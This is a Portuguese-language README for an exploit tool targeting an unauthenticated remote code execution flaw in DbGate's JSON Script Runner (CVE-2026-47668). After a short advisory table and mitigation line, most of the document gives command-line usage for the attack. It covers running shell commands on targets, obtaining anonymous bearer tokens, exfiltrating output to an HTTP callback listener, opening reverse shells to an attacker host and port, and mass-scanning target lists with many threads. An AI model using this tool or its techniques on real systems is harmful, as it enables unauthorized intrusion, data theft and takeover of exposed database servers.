
DbGate Unauthenticated Remote Code Execution
RCE não autenticada no DbGate JSON Script Runner (dbgate-serve ≤ 7.1.8).
Ferramenta de avaliação: CVE-2026-47668.py — apenas para testes autorizados.
| CVE | CVE-2026-47668 |
| Gravidade | Crítica |
| Produto | DbGate / dbgate-serve |
| Afetado | ≤ 7.1.8 |
| Corrigido | ≥ 7.1.9 |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-20, CWE-94, CWE-1188 |
Título: Execução Remota de Código não Autenticada no DbGate via JSON Script Runner
Campos controlados pelo usuário (functionName, variableName) são incorporados em JavaScript gerado dinamicamente sem validação adequada. Um atacante pode executar código arbitrário no processo filho do runner Node.js.
Mitigação: Atualize para 7.1.9+. Restrinja o acesso à rede, desabilite autenticação anônima, altere credenciais, revise logs para atividade suspeita em /runners/start.
Telegram: @KNxploited
CVE-2026-47668.py verifica e valida exploração contra instâncias DbGate que você está autorizado a testar.
Modos
Resultados
Diretório de saída: Nx/ (vuln, dispatch, exfil, failed, list_report, arquivos por alvo em exfil/)
pip install -r requirements.txt
Requer: Python 3.9+, aiohttp, colorama
python CVE-2026-47668.py
| Entrada no prompt | Exemplo |
|---|---|
| URL única | http://192.168.1.10:3000 |
| URL + comando | http://192.168.1.10:3000|id |
| Lista de alvos | targets.txt |
Cada execução CLI deve incluir --cli.
python CVE-2026-47668.py --cli [options]
-u / --url — URL base do alvo
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000
--cmd / --command — comando shell (padrão: id)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "id"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "uname -a"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "ls -la /tmp"
--check-only — apenas probe de vulnerabilidade (sem comando)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --check-only
--vector — vetor de injeção: functionName | variableName | both
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --vector both --cmd id
--port — porta padrão quando a URL não tem porta (padrão: 3000)
python CVE-2026-47668.py --cli -u http://192.168.1.10 --port 3000 --cmd id
--token — use token Bearer existente
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --token "eyJhbGciOi..." --cmd id
--login-json — corpo de login personalizado (padrão: {"amoid":"none"})
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --login-json "{\"amoid\":\"none\"}" --cmd id
--timeout — timeout HTTP em segundos
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --timeout 20 --cmd id
--secure — verificar certificados TLS
python CVE-2026-47668.py --cli -u https://dbgate.example.com:3000 --secure --cmd id
--cmd)--callback-host — IP/hostname que o alvo usa para alcançar seu listener
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --callback-host 192.168.1.5 --cmd id
--listen-host — bind local para listener HTTP (padrão: 0.0.0.0)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-host 0.0.0.0 --cmd id
--listen-port — porta HTTP exfil (padrão: 8888)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-port 8888 --cmd id
-c / --callback — URL de callback externa (desabilita listener interno)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 -c http://192.168.1.5:9999/ --cmd id
--wait-exfil — segundos para aguardar callback (alvo único, padrão: 8)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --wait-exfil 15 --cmd id
--no-b64 — enviar saída sem codificação base64
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --no-b64 --cmd id
--async-exec — exec assíncrono em vez de execSync
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --async-exec --cmd id
-f / --file — arquivo de lista de alvos
python CVE-2026-47668.py --cli -f targets.txt --cmd id
-t / --threads — workers concorrentes (padrão: 30)
python CVE-2026-47668.py --cli -f targets.txt --cmd id -t 50
--mass-wait-exfil — espera de callback por alvo em massa (padrão: 8)
python CVE-2026-47668.py --cli -f targets.txt --cmd id --mass-wait-exfil 12
Massa + porta padrão personalizada
python CVE-2026-47668.py --cli -f targets.txt --port 3000 --cmd "id"
Não é necessário para testes normais. Use HTTP exfil (--cmd) para comprovação.
--reverse-shell — alvo se conecta a LHOST:LPORT (omitir valor = IP LAN + porta 4444)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444
--revsh-port — porta quando --reverse-shell não tem :porta
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5 --revsh-port 4444
--revsh-bind — endereço de escuta local
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-bind 0.0.0.0
--wait-revsh — aguardar TCP (padrão: 15)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --wait-revsh 20
--revsh-interactive — relay básico stdin/stdout após conexão
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-interactive
Nota Docker: use um IP alcançável do container DbGate (ex: gateway do host), não apenas 127.0.0.1 no seu PC.
targets.txt)# comment
192.168.1.10
192.168.1.11:3000
http://10.0.0.8:3000
http://10.0.0.9|uname -a
https://dbgate.local|id
host|command → substituição de comando por linhaNx/list_report.txtPOST /auth/login → token Bearer (automático a menos que --token)POST /runners/start → executa comando + callback HTTP (ou TCP reverso se habilitado)Apenas para testes de segurança autorizados. Você deve ter permissão explícita para testar qualquer sistema. O autor não é responsável por uso indevido ou ilegal.
By: Nxploited
| Item | Detalhe |
|---|
| Endpoint | POST /runners/start |
| Autenticação | Bearer necessário; token pode ser obtido via POST /auth/login em implantações anônimas/padrão |
| Injeção | functionName, variableName em comandos assign do JSON |
| Impacto | Execução de comandos do SO como o usuário do processo DbGate |
| Modo | Reverse shell | Descrição |
|---|
| AUTO | Não | Um prompt; token + callback HTTP + padrões |
| CLI | Opcional | Controle total via flags |
| Mass | Não | Escaneie a partir de targets.txt |
--reverse-shell | Sim | Verificação TCP opcional (apenas alvo único) |
| Resultado | Significado |
|---|
| FALHA | Inalcançável, falha de autenticação ou não vulnerável |
| VULN | Runner aceitou apenas o probe |
| DISPATCH | Payload enviado; nenhuma saída confirmada |
| EXFIL | Callback recebido — saída de comando confirmada |
| REVSH | TCP reverso conectado (apenas modo opcional) |
| Arquivo | Conteúdo |
|---|
Nx/vuln.txt | Alvos vulneráveis (probe OK) |
Nx/dispatch.txt | Payload enviado, não confirmado |
Nx/exfil.txt | Callbacks confirmados |
Nx/failed.txt | Alvos com falha |
Nx/exfil/<host>.txt | Saída de comando por alvo |
Nx/sessions/<id>/summary.json | Resumo da sessão |